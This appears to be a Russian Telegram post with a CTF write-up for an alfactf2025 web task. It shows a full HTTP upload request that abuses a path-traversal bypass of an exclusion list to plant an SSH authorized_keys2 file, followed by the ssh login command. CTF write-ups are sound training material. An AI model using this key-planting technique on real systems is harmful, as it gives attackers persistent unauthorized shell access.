Priority: u=0
Te: trailers
Содержимое .config.yaml:
exclude_files_and_dirs:
- ".profile"
- ".bashrc"
- ".bash_history"
- ".bash_logout"
- ".bash_profile"
- ".history"
- ".viminfo"
- ".ssh/authorized_keys"
- "/etc/"
- "/proc/"
- "/sys/"
- "/home/"
- "/root/"
- "/usr/"
- "/var/"
- "/tmp/"
- "/dev/"
Через уязвимость path traversal при загрузке файлов можно создать файл authorized_keys2 в .ssh в домашней директории пользователя.
POST /api/files HTTP/2
Host: fr7sz1sb.spambox.alfactf.ru
Cookie: __cfduid=310a16b169b0030e147c7e3c54244766
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko/20100101 Firefox/142.0
Accept: application/json, text/plain, */*
Accept-Language: ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=----geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Length: 731
Origin: https://fr7sz1sb.spambox.alfactf.ru
Sec-Gpc: 1
Referer: https://fr7sz1sb.spambox.alfactf.ru/
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="files"; filename="authorized_keys2"
Content-Type: text/plain
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCxRfItRAln9f0MNzXjayUlCknQQ1G0UG40lQnUeyAwZXwKfAMRij8Pt6tCEB8qVwm67OQBQQ7pjLbzGWWPARazQtDe5Av01mcYQKiF3h5T99Cx/2+GobwBknTnuzEd5bfqZ1/9IHPjPCTm/zursyhI+u0niJ50uQwZmJiT/29j7S+ixfeikvQccpX7FdlZCorrvRAf0SkCYvEe0MOg9YQKuchWb96r9QPl6gQQs5gTzwotLeFwmdeHVzatqfy39vOF3RyYoSgW6oElFWzFoAJpVwIqCucqbMbk9B8tF/AQs46utSzfThNdkKT+7WbKxojDZUhrDRPmpvmTfpH4LhOB eianisimov@inbox.ru
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5
Content-Disposition: form-data; name="path"
.ssh
------geckoformboundaryaf337d42e6eaf7ce1adc514ca75085e5--
После этого коннектимся по ssh и получаем флаг
ssh -i ~/.ssh/id_rsa_for_auth2.pub fr7sz1sb@fr7sz1sb.spambox.alfactf.ru
Please open Telegram to view this post
VIEW IN TELEGRAM
❤13🔥7 1
Пальма с биткоинами.pdf
1.1 MB
#web #alfactf2025
Пальма с биткоинами, автор @p_domarev
💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Пальма с биткоинами, автор @p_domarev
Please open Telegram to view this post
VIEW IN TELEGRAM
1❤4 1